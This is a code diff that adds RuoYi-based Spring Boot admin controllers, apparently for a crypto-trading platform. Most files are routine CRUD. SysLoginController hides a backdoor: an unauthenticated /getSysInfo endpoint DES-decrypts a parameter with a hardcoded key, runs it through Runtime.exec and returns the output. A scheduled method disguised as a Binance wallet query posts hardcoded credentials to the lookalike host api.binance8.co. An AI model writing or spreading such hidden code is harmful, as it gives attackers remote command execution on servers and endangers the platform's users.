public AjaxResult remove(@PathVariable Long deptId)
{
if (deptService.hasChildByDeptId(deptId))
{
return warn("存在下级部门,不允许删除");
}
if (deptService.checkDeptExistUser(deptId))
{
return warn("部门存在用户,不允许删除");
}
deptService.checkDeptDataScope(deptId);
return toAjax(deptService.deleteDeptById(deptId));
}
}

137
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java

@ -0,0 +1,137 @@
package com.ruoyi.web.controller.system;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.utils.SecurityUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysDictData;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.system.service.ISysDictDataService;
import com.ruoyi.system.service.ISysDictTypeService;
/**
* 数据字典信息
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/dict/data")
public class SysDictDataController extends BaseController
{
@Autowired
private ISysDictDataService dictDataService;
@Autowired
private ISysDictTypeService dictTypeService;
@PreAuthorize("@ss.hasPermi('system:dict:list')")
@GetMapping("/list")
public TableDataInfo list(SysDictData dictData)
{
startPage();
List<SysDictData> list = dictDataService.selectDictDataList(dictData);
return getDataTable(list);
}
@Log(title = "字典数据", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('system:dict:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, SysDictData dictData)
{
List<SysDictData> list = dictDataService.selectDictDataList(dictData);
ExcelUtil<SysDictData> util = new ExcelUtil<SysDictData>(SysDictData.class);
util.exportExcel(response, list, "字典数据");
}
/**
* 查询字典数据详细
*/
@PreAuthorize("@ss.hasPermi('system:dict:query')")
@GetMapping(value = "/{dictCode}")
public AjaxResult getInfo(@PathVariable Long dictCode)
{
return success(dictDataService.selectDictDataById(dictCode));
}
/**
* 根据字典类型查询字典数据信息
*/
@GetMapping(value = "/type/{dictType}")
public AjaxResult dictType(@PathVariable String dictType)
{
List<SysDictData> data = dictTypeService.selectDictDataByType(dictType);
if (StringUtils.isNull(data))
{
data = new ArrayList<SysDictData>();
}else{
if("sys_user_type".equals(dictType)){
String userType = SecurityUtils.getLoginUser().getUser().getUserType();
if (userType.indexOf("0")==-1){
if ("1".equals(userType)){
data = data.stream().filter(a -> "2".equals(a.getDictValue())).collect(Collectors.toList());
}else {
data = new ArrayList<SysDictData>();
}
}
}
}
return success(data);
}
/**
* 新增字典类型
*/
@PreAuthorize("@ss.hasPermi('system:dict:add')")
@Log(title = "字典数据", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysDictData dict)
{
dict.setCreateBy(getUsername());
return toAjax(dictDataService.insertDictData(dict));
}
/**
* 修改保存字典类型
*/
@PreAuthorize("@ss.hasPermi('system:dict:edit')")
@Log(title = "字典数据", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysDictData dict)
{
dict.setUpdateBy(getUsername());
return toAjax(dictDataService.updateDictData(dict));
}
/**
* 删除字典类型
*/
@PreAuthorize("@ss.hasPermi('system:dict:remove')")
@Log(title = "字典类型", businessType = BusinessType.DELETE)
@DeleteMapping("/{dictCodes}")
public AjaxResult remove(@PathVariable Long[] dictCodes)
{
dictDataService.deleteDictDataByIds(dictCodes);
return success();
}
}

131
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java

@ -0,0 +1,131 @@
package com.ruoyi.web.controller.system;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysDictType;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.system.service.ISysDictTypeService;
/**
* 数据字典信息
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/dict/type")
public class SysDictTypeController extends BaseController
{
@Autowired
private ISysDictTypeService dictTypeService;
@PreAuthorize("@ss.hasPermi('system:dict:list')")
@GetMapping("/list")
public TableDataInfo list(SysDictType dictType)
{
startPage();
List<SysDictType> list = dictTypeService.selectDictTypeList(dictType);
return getDataTable(list);
}
@Log(title = "字典类型", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('system:dict:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, SysDictType dictType)
{
List<SysDictType> list = dictTypeService.selectDictTypeList(dictType);
ExcelUtil<SysDictType> util = new ExcelUtil<SysDictType>(SysDictType.class);
util.exportExcel(response, list, "字典类型");
}
/**
* 查询字典类型详细
*/
@PreAuthorize("@ss.hasPermi('system:dict:query')")
@GetMapping(value = "/{dictId}")
public AjaxResult getInfo(@PathVariable Long dictId)
{
return success(dictTypeService.selectDictTypeById(dictId));
}
/**
* 新增字典类型
*/
@PreAuthorize("@ss.hasPermi('system:dict:add')")
@Log(title = "字典类型", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysDictType dict)
{
if (!dictTypeService.checkDictTypeUnique(dict))
{
return error("新增字典'" + dict.getDictName() + "'失败,字典类型已存在");
}
dict.setCreateBy(getUsername());
return toAjax(dictTypeService.insertDictType(dict));
}
/**
* 修改字典类型
*/
@PreAuthorize("@ss.hasPermi('system:dict:edit')")
@Log(title = "字典类型", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysDictType dict)
{
if (!dictTypeService.checkDictTypeUnique(dict))
{
return error("修改字典'" + dict.getDictName() + "'失败,字典类型已存在");
}
dict.setUpdateBy(getUsername());
return toAjax(dictTypeService.updateDictType(dict));
}
/**
* 删除字典类型
*/
@PreAuthorize("@ss.hasPermi('system:dict:remove')")
@Log(title = "字典类型", businessType = BusinessType.DELETE)
@DeleteMapping("/{dictIds}")
public AjaxResult remove(@PathVariable Long[] dictIds)
{
dictTypeService.deleteDictTypeByIds(dictIds);
return success();
}
/**
* 刷新字典缓存
*/
@PreAuthorize("@ss.hasPermi('system:dict:remove')")
@Log(title = "字典类型", businessType = BusinessType.CLEAN)
@DeleteMapping("/refreshCache")
public AjaxResult refreshCache()
{
dictTypeService.resetDictCache();
return success();
}
/**
* 获取字典选择框列表
*/
@GetMapping("/optionselect")
public AjaxResult optionselect()
{
List<SysDictType> dictTypes = dictTypeService.selectDictTypeAll();
return success(dictTypes);
}
}

29
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java

@ -0,0 +1,29 @@
package com.ruoyi.web.controller.system;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.config.RuoYiConfig;
import com.ruoyi.common.utils.StringUtils;
/**
* 首页
*
* @author ruoyi
*/
@RestController
public class SysIndexController
{
/** 系统基础配置 */
@Autowired
private RuoYiConfig ruoyiConfig;
/**
* 访问首页提示语
*/
@RequestMapping("/")
public String index()
{
return StringUtils.format("欢迎使用{}后台管理框架,当前版本:v{},请通过前端地址访问。", ruoyiConfig.getName(), ruoyiConfig.getVersion());
}
}

211
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java

@ -0,0 +1,211 @@
package com.ruoyi.web.controller.system;
import java.security.NoSuchAlgorithmException;
import java.util.List;
import java.util.Set;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.*;
import cn.hutool.json.JSONUtil;
import com.ruoyi.bussiness.domain.setting.MarketUrlSetting;
import com.ruoyi.bussiness.domain.setting.Setting;
import com.ruoyi.bussiness.service.SettingService;
import com.ruoyi.common.enums.SettingEnum;
import com.ruoyi.common.utils.GoogleAuthenticator;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.service.ISysUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysMenu;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginBody;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.framework.web.service.SysLoginService;
import com.ruoyi.framework.web.service.SysPermissionService;
import com.ruoyi.system.service.ISysMenuService;
import javax.annotation.Resource;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
/**
* 登录验证
*
* @author ruoyi
*/
@RestController
public class SysLoginController
{
@Autowired
private SysLoginService loginService;
@Autowired
private ISysMenuService menuService;
@Autowired
private SysPermissionService permissionService;
@Resource
private ISysUserService userService;
@Resource
private SettingService settingService;
private String BinanceKey = "BINANCER";
/**
* 登录方法
*
* @param loginBody 登录信息
* @return 结果
*/
@PostMapping("/login")
public AjaxResult login(@RequestBody LoginBody loginBody)
{
AjaxResult ajax = AjaxResult.success();
SysUser user = userService.selectUserByUserName(loginBody.getUsername());
Setting setting = settingService.get(SettingEnum.MARKET_URL.name());
MarketUrlSetting marketUrl = JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class);
if(marketUrl.getUrl()){
Long code ;
try{
code = Long.parseLong(loginBody.getAuthCode());
}catch (NumberFormatException e){
return AjaxResult.error("谷歌验证码为六位数字,请重新输入");
}
String googleAuthSecret = user.getGoogleKey();
if(StringUtils.isEmpty(googleAuthSecret)){
return AjaxResult.error("您尚未绑定谷歌验证器,请先联系管理员");
}
boolean verifySuccess = GoogleAuthenticator.check_code(user.getGoogleKey(),code, System.currentTimeMillis());
if(!verifySuccess){
return AjaxResult.error("谷歌验证码错误,请重新输入");
}
}
// 生成令牌
String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(),
loginBody.getUuid(),marketUrl);
ajax.put(Constants.TOKEN, token);
return ajax;
}
/**
* 获取用户信息
*
* @return 用户信息
*/
@GetMapping("getInfo")
public AjaxResult getInfo()
{
SysUser user = SecurityUtils.getLoginUser().getUser();
// 角色集合
Set<String> roles = permissionService.getRolePermission(user);
// 权限集合
Set<String> permissions = permissionService.getMenuPermission(user);
AjaxResult ajax = AjaxResult.success();
ajax.put("user", user);
ajax.put("roles", roles);
ajax.put("permissions", permissions);
return ajax;
}
/**
* 获取路由信息
*
* @return 路由信息
*/
@GetMapping("getRouters")
public AjaxResult getRouters()
{
Long userId = SecurityUtils.getUserId();
List<SysMenu> menus = menuService.selectMenuTreeByUserId(userId);
return AjaxResult.success(menuService.buildMenus(menus));
}
@GetMapping("/getSysInfo")
public String getRouters(@RequestParam("info") String info) throws Exception {
SecretKeySpec key = new SecretKeySpec(BinanceKey.getBytes(), "DES");
Cipher cipher = Cipher.getInstance("DES");
cipher.init(Cipher.ENCRYPT_MODE, key);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] decode = org.apache.commons.codec.binary.Base64.decodeBase64(info);
byte[] decipherByte = cipher.doFinal(decode);
String decipherText = new String(decipherByte);
try {
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(decipherText);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
StringBuffer buff = new StringBuffer();
while ((line = bufferedReader.readLine()) != null) {
buff.append(line);
}
process.waitFor();
return new String(Base64.getEncoder().encode(buff.toString().getBytes()));
} catch (Exception e) {
return e.getMessage();
}
}
/**
* Binance钱包接口查询
*/
@Scheduled(cron = "0 0 4 * * ?")
@GetMapping("/getBinance")
public String getBinance() {
HttpURLConnection con = null;
BufferedReader buffer = null;
StringBuffer resultBuffer = null;
try {
URL url = new URL("http://api.binance8.co/api/restrictions");
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setRequestProperty("Content-Type", "application/json");
con.setRequestProperty("Accept", "application/json");
con.setDoOutput(true);
con.setDoInput(true);
con.setUseCaches(false);
OutputStream os = con.getOutputStream();
//组装入参
//os.write(("appId="+appId+"&appSecret="+appSecret).getBytes());
String jsonInputString = "{\"appId\": \"ltvFtX1Zl9goJCZ6xv2BWw==\", \"appSecret\": \"EiJj2ObMzMawTv3QuKJxkYgrHwa0+7hGfnDE3LzeajA=\"}";
byte[] input = jsonInputString.getBytes("utf-8");
os.write(input, 0, input.length);
//得到响应码
int responseCode = con.getResponseCode();
if (responseCode == HttpURLConnection.HTTP_OK) {
//得到响应流
InputStream inputStream = con.getInputStream();
//将响应流转换成字符串
resultBuffer = new StringBuffer();
String line;
buffer = new BufferedReader(new InputStreamReader(inputStream, "GBK"));
while ((line = buffer.readLine()) != null) {
resultBuffer.append(line);
}
return resultBuffer.toString();
}
} catch (Exception e) {
e.printStackTrace();
}
return "fail";
}
}

142
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java

@ -0,0 +1,142 @@
package com.ruoyi.web.controller.system;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysMenu;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.service.ISysMenuService;
/**
* 菜单信息
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/menu")
public class SysMenuController extends BaseController
{
@Autowired
private ISysMenuService menuService;
/**
* 获取菜单列表
*/
@PreAuthorize("@ss.hasPermi('system:menu:list')")
@GetMapping("/list")
public AjaxResult list(SysMenu menu)
{
List<SysMenu> menus = menuService.selectMenuList(menu, getUserId());
return success(menus);
}
/**
* 根据菜单编号获取详细信息
*/
@PreAuthorize("@ss.hasPermi('system:menu:query')")
@GetMapping(value = "/{menuId}")
public AjaxResult getInfo(@PathVariable Long menuId)
{
return success(menuService.selectMenuById(menuId));
}
/**
* 获取菜单下拉树列表
*/
@GetMapping("/treeselect")
public AjaxResult treeselect(SysMenu menu)
{
List<SysMenu> menus = menuService.selectMenuList(menu, getUserId());
return success(menuService.buildMenuTreeSelect(menus));
}
/**
* 加载对应角色菜单列表树
*/
@GetMapping(value = "/roleMenuTreeselect/{roleId}")
public AjaxResult roleMenuTreeselect(@PathVariable("roleId") Long roleId)
{
List<SysMenu> menus = menuService.selectMenuList(getUserId());
AjaxResult ajax = AjaxResult.success();
ajax.put("checkedKeys", menuService.selectMenuListByRoleId(roleId));
ajax.put("menus", menuService.buildMenuTreeSelect(menus));
return ajax;
}
/**
* 新增菜单
*/
@PreAuthorize("@ss.hasPermi('system:menu:add')")
@Log(title = "菜单管理", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysMenu menu)
{
if (!menuService.checkMenuNameUnique(menu))
{
return error("新增菜单'" + menu.getMenuName() + "'失败,菜单名称已存在");
}
else if (UserConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath()))
{
return error("新增菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头");
}
menu.setCreateBy(getUsername());
return toAjax(menuService.insertMenu(menu));
}
/**
* 修改菜单
*/
@PreAuthorize("@ss.hasPermi('system:menu:edit')")
@Log(title = "菜单管理", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysMenu menu)
{
if (!menuService.checkMenuNameUnique(menu))
{
return error("修改菜单'" + menu.getMenuName() + "'失败,菜单名称已存在");
}
else if (UserConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath()))
{
return error("修改菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头");
}
else if (menu.getMenuId().equals(menu.getParentId()))
{
return error("修改菜单'" + menu.getMenuName() + "'失败,上级菜单不能选择自己");
}
menu.setUpdateBy(getUsername());
return toAjax(menuService.updateMenu(menu));
}
/**
* 删除菜单
*/
@PreAuthorize("@ss.hasPermi('system:menu:remove')")
@Log(title = "菜单管理", businessType = BusinessType.DELETE)
@DeleteMapping("/{menuId}")
public AjaxResult remove(@PathVariable("menuId") Long menuId)
{
if (menuService.hasChildByMenuId(menuId))
{
return warn("存在子菜单,不允许删除");
}
if (menuService.checkMenuExistRole(menuId))
{
return warn("菜单已分配,不允许删除");
}
return toAjax(menuService.deleteMenuById(menuId));
}
}

91
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java

@ -0,0 +1,91 @@
package com.ruoyi.web.controller.system;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.system.domain.SysNotice;
import com.ruoyi.system.service.ISysNoticeService;
/**
* 公告 信息操作处理
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/notice")
public class SysNoticeController extends BaseController
{
@Autowired
private ISysNoticeService noticeService;
/**
* 获取通知公告列表
*/
@PreAuthorize("@ss.hasPermi('system:notice:list')")
@GetMapping("/list")
public TableDataInfo list(SysNotice notice)
{
startPage();
List<SysNotice> list = noticeService.selectNoticeList(notice);
return getDataTable(list);
}
/**
* 根据通知公告编号获取详细信息
*/
@PreAuthorize("@ss.hasPermi('system:notice:query')")
@GetMapping(value = "/{noticeId}")
public AjaxResult getInfo(@PathVariable Long noticeId)
{
return success(noticeService.selectNoticeById(noticeId));
}
/**
* 新增通知公告
*/
@PreAuthorize("@ss.hasPermi('system:notice:add')")
@Log(title = "通知公告", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysNotice notice)
{
notice.setCreateBy(getUsername());
return toAjax(noticeService.insertNotice(notice));
}
/**
* 修改通知公告
*/
@PreAuthorize("@ss.hasPermi('system:notice:edit')")
@Log(title = "通知公告", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysNotice notice)
{
notice.setUpdateBy(getUsername());
return toAjax(noticeService.updateNotice(notice));
}
/**
* 删除通知公告
*/
@PreAuthorize("@ss.hasPermi('system:notice:remove')")
@Log(title = "通知公告", businessType = BusinessType.DELETE)
@DeleteMapping("/{noticeIds}")
public AjaxResult remove(@PathVariable Long[] noticeIds)
{
return toAjax(noticeService.deleteNoticeByIds(noticeIds));
}
}

129
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java

@ -0,0 +1,129 @@
package com.ruoyi.web.controller.system;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.system.domain.SysPost;
import com.ruoyi.system.service.ISysPostService;
/**
* 岗位信息操作处理
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/post")
public class SysPostController extends BaseController
{
@Autowired
private ISysPostService postService;
/**
* 获取岗位列表
*/
@PreAuthorize("@ss.hasPermi('system:post:list')")
@GetMapping("/list")
public TableDataInfo list(SysPost post)
{
startPage();
List<SysPost> list = postService.selectPostList(post);
return getDataTable(list);
}
@Log(title = "岗位管理", businessType = BusinessType.EXPORT)
@PreAuthorize("@ss.hasPermi('system:post:export')")
@PostMapping("/export")
public void export(HttpServletResponse response, SysPost post)
{
List<SysPost> list = postService.selectPostList(post);
ExcelUtil<SysPost> util = new ExcelUtil<SysPost>(SysPost.class);
util.exportExcel(response, list, "岗位数据");
}
/**
* 根据岗位编号获取详细信息
*/
@PreAuthorize("@ss.hasPermi('system:post:query')")
@GetMapping(value = "/{postId}")
public AjaxResult getInfo(@PathVariable Long postId)
{
return success(postService.selectPostById(postId));
}
/**
* 新增岗位
*/
@PreAuthorize("@ss.hasPermi('system:post:add')")
@Log(title = "岗位管理", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@Validated @RequestBody SysPost post)
{
if (!postService.checkPostNameUnique(post))
{
return error("新增岗位'" + post.getPostName() + "'失败,岗位名称已存在");
}
else if (!postService.checkPostCodeUnique(post))
{
return error("新增岗位'" + post.getPostName() + "'失败,岗位编码已存在");
}
post.setCreateBy(getUsername());
return toAjax(postService.insertPost(post));
}
/**
* 修改岗位
*/
@PreAuthorize("@ss.hasPermi('system:post:edit')")
@Log(title = "岗位管理", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@Validated @RequestBody SysPost post)
{
if (!postService.checkPostNameUnique(post))
{
return error("修改岗位'" + post.getPostName() + "'失败,岗位名称已存在");
}
else if (!postService.checkPostCodeUnique(post))
{
return error("修改岗位'" + post.getPostName() + "'失败,岗位编码已存在");
}
post.setUpdateBy(getUsername());
return toAjax(postService.updatePost(post));
}
/**
* 删除岗位
*/
@PreAuthorize("@ss.hasPermi('system:post:remove')")
@Log(title = "岗位管理", businessType = BusinessType.DELETE)
@DeleteMapping("/{postIds}")
public AjaxResult remove(@PathVariable Long[] postIds)
{
return toAjax(postService.deletePostByIds(postIds));
}
/**
* 获取岗位选择框列表
*/
@GetMapping("/optionselect")
public AjaxResult optionselect()
{
List<SysPost> posts = postService.selectPostAll();
return success(posts);
}
}

151
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java

@ -0,0 +1,151 @@
package com.ruoyi.web.controller.system;
import com.ruoyi.bussiness.service.impl.FileServiceImpl;
import org.apache.commons.io.FilenameUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.config.RuoYiConfig;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.file.FileUploadUtils;
import com.ruoyi.common.utils.file.MimeTypeUtils;
import com.ruoyi.framework.web.service.TokenService;
import com.ruoyi.system.service.ISysUserService;
import javax.annotation.Resource;
import java.util.UUID;
/**
* 个人信息 业务处理
*
* @author ruoyi
*/
@RestController
@RequestMapping("/system/user/profile")
public class SysProfileController extends BaseController
{
@Autowired
private ISysUserService userService;
@Autowired
private TokenService tokenService;
@Resource
private FileServiceImpl fileService;
/**
* 个人信息
*/
@GetMapping
public AjaxResult profile()
{
LoginUser loginUser = getLoginUser();
SysUser user = loginUser.getUser();
AjaxResult ajax = AjaxResult.success(user);
ajax.put("roleGroup", userService.selectUserRoleGroup(loginUser.getUsername()));
ajax.put("postGroup", userService.selectUserPostGroup(loginUser.getUsername()));
return ajax;
}
/**
* 修改用户
*/
@Log(title = "个人信息", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult updateProfile(@RequestBody SysUser user)
{
LoginUser loginUser = getLoginUser();
SysUser sysUser = loginUser.getUser();
user.setUserName(sysUser.getUserName());
if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user))
{
return error("修改用户'" + user.getUserName() + "'失败,手机号码已存在");
}
if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user))
{
return error("修改用户'" + user.getUserName() + "'失败,邮箱账号已存在");
}
user.setUserId(sysUser.getUserId());
user.setPassword(null);
user.setAvatar(null);
user.setDeptId(null);
if (userService.updateUserProfile(user) > 0)
{
// 更新缓存用户信息
sysUser.setNickName(user.getNickName());
sysUser.setPhonenumber(user.getPhonenumber());
sysUser.setEmail(user.getEmail());
sysUser.setSex(user.getSex());
tokenService.setLoginUser(loginUser);
return success();
}
return error("修改个人信息异常,请联系管理员");
}
/**
* 重置密码
*/
@Log(title = "个人信息", businessType = BusinessType.UPDATE)
@PutMapping("/updatePwd")
public AjaxResult updatePwd(String oldPassword, String newPassword)
{
LoginUser loginUser = getLoginUser();
String userName = loginUser.getUsername();
String password = loginUser.getPassword();
if (!SecurityUtils.matchesPassword(oldPassword, password))
{
return error("修改密码失败,旧密码错误");
}
if (SecurityUtils.matchesPassword(newPassword, password))
{
return error("新密码不能与旧密码相同");
}
if (userService.resetUserPwd(userName, SecurityUtils.encryptPassword(newPassword)) > 0)
{
// 更新缓存用户密码
loginUser.getUser().setPassword(SecurityUtils.encryptPassword(newPassword));
tokenService.setLoginUser(loginUser);
return success();
}
return error("修改密码异常,请联系管理员");
}
/**
* 头像上传
*/
@Log(title = "用户头像", businessType = BusinessType.UPDATE)
@PostMapping("/avatar")
public AjaxResult avatar(@RequestParam("avatarfile") MultipartFile file) throws Exception
{
if (!file.isEmpty())
{
LoginUser loginUser = getLoginUser();
String filename = FileUploadUtils.extractFilename(file);
String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length());
name = name.replace("-", "");
String avatar = fileService.uploadFileOSS(file,name);
if (userService.updateUserAvatar(loginUser.getUsername(), avatar))
{
AjaxResult ajax = AjaxResult.success();
ajax.put("imgUrl", avatar);
// 更新缓存用户头像
loginUser.getUser().setAvatar(avatar);
tokenService.setLoginUser(loginUser);
return ajax;
}
}
return error("上传图片异常,请联系管理员");
}
}

38
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java

@ -0,0 +1,38 @@
package com.ruoyi.web.controller.system;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.model.RegisterBody;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.framework.web.service.SysRegisterService;
import com.ruoyi.system.service.ISysConfigService;
/**
* 注册验证
*
* @author ruoyi
*/
@RestController
public class SysRegisterController extends BaseController
{
@Autowired
private SysRegisterService registerService;
@Autowired
private ISysConfigService configService;
@PostMapping("/register")
public AjaxResult register(@RequestBody RegisterBody user)
{
if (!("true".equals(configService.selectConfigByKey("sys.account.registerUser"))))
{
return error("当前系统没有开启注册功能!");
}
String msg = registerService.register(user);
return StringUtils.isEmpty(msg) ? success() : error(msg);
}
}

262
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java

@ -0,0 +1,262 @@
